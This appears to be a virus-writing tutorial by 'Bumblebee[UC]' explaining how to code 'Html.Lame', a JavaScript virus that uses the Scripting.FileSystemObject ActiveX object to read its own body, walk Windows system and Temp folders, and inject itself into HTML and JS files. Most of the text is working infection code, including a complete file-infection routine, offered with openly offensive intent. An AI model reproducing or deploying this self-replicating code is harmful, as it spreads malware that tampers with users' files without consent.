by Bumblebee[UC]
Introduction
Are Html viruses a menace for users? Well this is a question that most avers 
make theirselves. Why spend time detecting and cleaning this 'new' viruses if 
the user never become infected. That's right?
In my opinion html viruses are like macro ones, but a macro virus has all it 
needs in the program that runs the macro. A html virus needs an interpreter
and other programs to spread. We must know some concepts before we start
coding Html viruses:
        Automation object 
        An object that is exposed to other applications or programming tools 
        through Automation interfaces. Automation servers provide at least one 
        type of object. For example, a word-processing application may provide 
        an application object, a document object, and a toolbar object. This
        is like some macro viruses does their work. Like Melissa, that uses
        the mail client of Microsoft to spread. The most important server for
        us is Scripting that has needed objects for spread process, but you
        can call other servers like Word. 
          
        JavaScript and/or VBScript and/or WSH 
        These are the most common scripting languages used over the net and 
        local machines. There are a lot of more powerfull lenguages, like 
        TCL/TK, but we want the virus to spread, so we need to use the most 
        'spreaded' language. There are a lot of tuts over the net. I'm going
        to show you only the things you need to infect Html files. But there
        are a lot of ways to do the same thing. Try to get some of this tuts.
        In Microsoft's site is JScript Language Reference for v4.0 of the
        language. 
        
I'm going to use JavaScript. Most Html viruses i have seen are coded in
VBScript -yep, more of them aren't viruses- using WSH as Codebrakers made with
their VBS viruses. The method i'm going to explain is a basic one. You can 
improve it using WSH but is not required.
There are 3 points to solve in Html virus coding:
    Find the virus body 
    Find files to infect 
    Infect files 
I'm going to explain these three points with a virus made for this article: 
Html.Lame. Is a little Html virus coded in JavaScript that infects Html and Js 
files. Uses only the Scripting server. Has a payload activated by date and all 
the virus is about 72 lines of code.
 
Find the virus body
We need a clean copy of the virus body to add to (infect) other html files. I 
search the location of the infected file that contains the virus with:
virusPath=window.location.pathname
With this line i have the path of the file in the variable virusPath. Notice 
that you must declare virusPath as variable before use it. Now we need to read 
the entire infected file. At this point is required an Automation object from 
the server Scripting. We use the function:
var newObject = new ActiveXObject(class) 
The class argument uses the syntax servername.typename and has these parts: 
PartDescription
            servernameThe name of the application providing the object.
            typenameThe type or class of the object to create.
    
And we use it in this way:
fso=ActiveXObject("Scripting.FileSystemObject")
Our virus works only offline 'cause online you can't open the infected file.
Now we need to quit the / that is at the begining of the path (because is a
local file), and read the entire file:
virusPath=virusPath.slice(1)
file=fso.openTextFile(virusPath,1)
virus=file.readAll()
file.close()
We use Slice to quit the first char at virusPath and fso.openTextFile to open 
the infected file. With the next line we read the code and put into the var 
virus and finally close the file.
Now we have the entire infected file into a var. Now we need to get the virus 
body from the file. We do this with:
i=virus.search(new RegExp("<SCRIPT lenguage=\"JavaScript\" lame>"))
j=virus.search(new RegExp("Lame"+"Ends"))
j+=20
virus=virus.slice(i,j)
We search the first line of the virus and put the pos of this string into a var. 
Next do the same but with the virus end line. Notice two things:
    1.We search "Lame"+"Ends" cause we don't want our virus founds "LameEnds" 
    before the virus ends -shit, this is hard to explain-:
... more virus ...
j=virus.search(new RegExp("Lame"+"Ends"))
... more virus ...
file.close()
}
}
}
//LameEnds--></SCRIPT>
The right "LameEnds" is the second. So we put "Lame"+"Ends" to avoid find the 
wrong string.
    2. We need to add 20 to j 'cause we want "--></SCRIPT>" as virus body too.
Now the slice line gets the virus body from the entire infected file.
 
Find files to infect
The worst part of a Html virus it to find files to infect. In Win98 there are 
lot of Html files but is hard to find new files for our virus. We can use the 
following function to find folders where usually are Hml files:
object.GetSpecialFolder(folderspec) 
The GetSpecialFolder method syntax has these parts: 
PartDescription
            objectRequired. Always the name of a FileSystemObject.
            folderspecRequired. The name of the special folder to be returned. 
            Can be any of the constants shown in the following table.
    
The folderspec argument can have any of the following values: 
    ConstantValueDescription
                WindowsFolder0The Windows folder contains files installed by
                the Windows operating system.
                SystemFolder1The System folder contains libraries, fonts, and 
                device drivers.
                TemporaryFolder2The Temp folder is used to store temporary 
                files. Its path is found in the TMP environment variable.
        
So we can get Windows and Temporary folders to infect files there. Morever we 
can get \windows\web and \windows\web\wallpaper.
Our virus does:
var winDir=fso.GetSpecialFolder(0)
lameDir(fso.GetFolder(winDir.path+"\\Web"))
lameDir(fso.GetFolder(winDir.path+"\\Help"))
lameDir(fso.GetFolder(winDir.path+"\\Web\\Wallpaper"))
lameDir(fso.GetSpecialFolder(2))
And lameDir is the function we use to infect all the files in this folder.
function lameDir(folder)
{
var files,fitem
files=new Enumerator(folder.files)
for(;!files.atEnd();files.moveNext()) {
        fitem=files.item()
        lameInfect(fitem.path)
}
}
}
}
We get all the files of the folder passed as argument to the function. Using
the Enumerator object we call lameInfect function to infect each file found.
 
Infect files
This is the part we must do in the best way. If a file is wrong infected can
be corrupted and user notices something goes wrong. The argument of this
function is the path of the fie to infect. First we need to check the
extension of the file 'cause we want infect only Html, Htm and Js files.
function lameInfect(fileName)
{
if(fileName.search(new RegExp(".[hH][tT][mM]"))!=-1 
	|| fileName.search(new RegExp(".[jJ][sS]"))!=-1) {
var file,fso,host,i,j,infected,virus,virusPath
fso=new ActiveXObject("Scripting.FileSystemObject")
virusPath=window.location.pathname
virusPath=virusPath.slice(1)
file=fso.openTextFile(virusPath,1)
virus=file.readAll()
file.close()
i=virus.search(new RegExp("<SCRIPT lenguage=\"JavaScript\" lame>"))
j=virus.search(new RegExp("Lame"+"Ends"))
j+=20
virus=virus.slice(i,j)
file=fso.openTextFile(fileName,1)
host=file.readAll()
file.close()
if(host.search(new RegExp("Html.Lame"))==-1) {
i=host.search(new RegExp("< *[Bb][Oo][Dd][Yy]"))
if(i!=-1) {
i+=4
infected=host.slice(0,i)
host=host.slice(i)
i=host.search(new RegExp(">"))
i++
infected+=host.slice(0,i)
host=host.slice(i)
}
infected+=virus
infected+=host
file=fso.openTextFile(fileName,2)
file.write(infected)
file.close()
}
}
}

This fuction includes the code to find virus body, and this is explain yet.
See the rest of the code. We open the future host and read the entire code.
Now we search for body section. If we can't found it we assume it is a Js file
and insert the virus code at the begining of the file.
But if body section is found we must found the end of this tag. This tag can 
contain more sub-tags as bgcolor and background. So we must find exactly where 
this section ends. Then we insert the virus code there. I used slice and
search, but you can use other functions as well.
 
The end
That's it! I hope this made you a global idea about Html viruses. Html viruses 
are lame but can be interesting combined with other items like macros or file 
viruses. The Html.Lame is a very basic Html virus and works fine, the reader
can found other ways to infect as using onLoad tag. Take a look at the code of
the virus. There are some things i didn't commented but you can understand it
your own: testing if the browser is Netscape, payload, ... Enjoy it!
Bumblebee[UC] 
